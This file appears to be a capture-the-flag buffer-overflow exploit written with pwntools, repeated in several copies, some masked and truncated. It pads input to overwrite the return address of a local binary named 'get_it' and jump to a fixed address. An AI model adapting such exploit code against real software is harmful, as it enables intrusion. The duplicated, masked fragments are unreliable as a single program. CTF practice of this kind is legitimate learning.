from pwn import *

pwn = process('./get_it')

buf = b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB'
buf += p64(0x004005b6)

pwn.sendline(buf)
pwn.interactive()

a9f7031de9504cf41ac1fb2ecf8b0e96bec8f203
<mask token>

<mask token>
buf += p64(4195766)
pwn.sendline(buf)
pwn.interactive()

<mask token>
pwn = process('./get_it')
buf = b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB'
buf += p64(4195766)
pwn.sendline(buf)
pwn.interactive()

from pwn import *
pwn = process('./get_it')
buf = b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB'
buf += p64(4195766)
pwn.sendline(buf)
pwn.interactive()

from pwn import *

pwn = process('./get_it')

buf = b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB'
buf += p64(0x004005b6)

pwn.sendline(buf)
pwn.interactive()
